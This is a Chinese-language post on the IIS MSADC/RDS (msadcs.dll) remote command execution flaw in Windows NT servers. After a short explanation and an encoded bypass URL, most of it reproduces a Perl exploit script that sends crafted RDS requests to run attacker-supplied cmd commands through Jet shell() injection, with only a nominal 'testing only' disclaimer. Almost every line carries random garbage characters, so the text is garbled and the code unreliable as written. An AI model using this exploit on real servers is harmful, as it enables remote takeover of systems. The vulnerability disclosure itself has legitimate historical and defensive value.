IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~E3"s /8[T2Z! 涉及程序:
(U_dPf Microsoft NT server
rXF=/ ( jtkY_ 描述:
omZ
bn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
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wD<y |n~Vpy 详细:
g7`uWAxZa 如果你没有时间读详细内容的话,就删除:
E[8i$ c:\Program Files\Common Files\System\Msadc\msadcs.dll
fK1^fzV 有关的安全问题就没有了。
G_5E#{u NB.&J7v 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
?t"bF :! 40Z/;,wp{ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Mb\[` 4z 关于利用ODBC远程漏洞的描述,请参看:
W<OO:B.ty kOLS<>. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm JNSH'9!n6 fud Lm 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
1Jn:huV2 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~\~XD+jy" I3D#wXW 这里不再论述。
bl-t>aO*.V ~glFB`?[ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
*
~4m!U_s h|
]BA}D /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ko<VB#pOMr 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
*EzAo J6*B=PX=( ^bckl
tSo #将下面这段保存为txt文件,然后: "perl -x 文件名"
t.tdY WA 79(B #!perl
xrky5[XoD #
{1j[RE # MSADC/RDS 'usage' (aka exploit) script
yi9c+w)b #
]Zz<9zix # by rain.forest.puppy
*3W e5 #
DU:
sQS4 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ky5 gU[ # beta test and find errors!
9,;+B8-A j])nkm7_ use Socket; use Getopt::Std;
SsF
5+=A getopts("e:vd:h:XR", \%args);
q;a#?Du o #pz{, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
/,Sd Q`X5W if (!defined $args{h} && !defined $args{R}) {
S.Fip_ print qq~
#O.-/&Z Usage: msadc.pl -h <host> { -d <delay> -X -v }
5"JnJH -h <host> = host you want to scan (ip or domain)
P$|DiiH -d <seconds> = delay between calls, default 1 second
oNV(C'A -X = dump Index Server path table, if available
Ev\kq>2O -v = verbose
{\HE'C/? -e = external dictionary file for step 5
TAt9+\' lC|{{?m Or a -R will resume a command session
NX*9nwp^ 'D4KaM.d ~; exit;}
!OJSQB, w5(GRAH $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
D|D1`CIM if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!u#o"e<qh if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
5B<G;if, if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9h6xl i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
g loo].z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=`X;fz rS
4'@a if (!defined $args{R}){ $ret = &has_msadc;
nA]dQ+5sT die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
m~Dq0 T }m<)$.x|P print "Please type the NT commandline you want to run (cmd /c assumed):\n"
b+M[DwPw . "cmd /c ";
IfZaK([ $in=<STDIN>; chomp $in;
<>JDA(F" $command="cmd /c " . $in ;
::vw1Es 9CWUhS
if (defined $args{R}) {&load; exit;}
LE Y Y{G? .6E7 R print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Iq\sf-1E &try_btcustmr;
9_ Qm_ 00G[`a5 print "\nStep 2: Trying to make our own DSN...";
{Pg7IYjH &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8}Y(
@
%4 A?;/]m; print "\nStep 3: Trying known DSNs...";
P
N_QK Z &known_dsn;
F
,{nG[PL )M]4p6Y print "\nStep 4: Trying known .mdbs...";
.@APxeU &known_mdb;
2+GF:[$ xsFW F*HPs if (defined $args{e}){
SAG)vmm print "\nStep 5: Trying dictionary of DSN names...";
kQIWDN &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
>CPkL_@VZ= ORx,n7- print "Sorry Charley...maybe next time?\n";
(7ew&u\Li exit;
r+0)l:{. oT|E\wj ##############################################################################
=10t3nA1$ ~N'KIP[W sub sendraw { # ripped and modded from whisker
s !8]CV> sleep($delay); # it's a DoS on the server! At least on mine...
NE9e brK my ($pstr)=@_;
m2|0<P@k! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[1nI%/</> die("Socket problems\n");
>/bl
r}5
H if(connect(S,pack "SnA4x8",2,80,$target)){
O~,^x$ve select(S); $|=1;
A{6ZEQAh> print $pstr; my @in=<S>;
Gcs+@7!b select(STDOUT); close(S);
9$DVG/ return @in;
g'Xl>q } else { die("Can't connect...\n"); }}
g>im2AD+e D}"GrY5 ##############################################################################
Z=F=@ <! aYj3a;EmU sub make_header { # make the HTTP request
7OWiG, my $msadc=<<EOT
?|hzAF"U POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
)%tf,3 User-Agent: ACTIVEDATA
QHs]~Ja Host: $ip
y
ph Content-Length: $clen
AN~1E@" Connection: Keep-Alive
d ,QJf\fc" e;6Sj ADCClientVersion:01.06
x9_ Lt4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e8lF$[i If&p$pAH? --!ADM!ROX!YOUR!WORLD!
ADBw" ? > Content-Type: application/x-varg
B)-S@.u Content-Length: $reqlen
_+;x4K; QHM39Eu] EOT
,DE%p
+q ; $msadc=~s/\n/\r\n/g;
*TXq/
3g return $msadc;}
16Xwtn72 Zwt!nh ##############################################################################
8D n]`}ok {[9^@k sub make_req { # make the RDS request
AjlG_F my ($switch, $p1, $p2)=@_;
F@I_sGCcb my $req=""; my $t1, $t2, $query, $dsn;
R#ZDB]2 b]Y,& 8}[+ if ($switch==1){ # this is the btcustmr.mdb query
]t=># $query="Select * from Customers where City=" . make_shell();
,H%\+yn{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
eP2 y U $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
3|?fGT;P B#DV<%GPl elsif ($switch==2){ # this is general make table query
r"Bf@va $query="create table AZZ (B int, C varchar(10))";
an7N<-? $dsn="$p1";}
@1+/r?b {l6]O elsif ($switch==3){ # this is general exploit table query
f*5"Jh@ $query="select * from AZZ where C=" . make_shell();
UiSc*_N" $dsn="$p1";}
z]WT>4 4Oy
c D elsif ($switch==4){ # attempt to hork file info from index server
bCrB'&^t $query="select path from scope()";
`Q8 D[ $dsn="Provider=MSIDXS;";}
u<8Q[_E& Q d./G5CC elsif ($switch==5){ # bad query
Ov|j{}=L=9 $query="select";
) )F.|w $dsn="$p1";}
1,QRfckks f
LW>-O73 $t1= make_unicode($query);
r%#qbsN $t2= make_unicode($dsn);
"+WR[-n>\ $req = "\x02\x00\x03\x00";
!+6l.`2WI $req.= "\x08\x00" . pack ("S1", length($t1));
,J^Op
$req.= "\x00\x00" . $t1 ;
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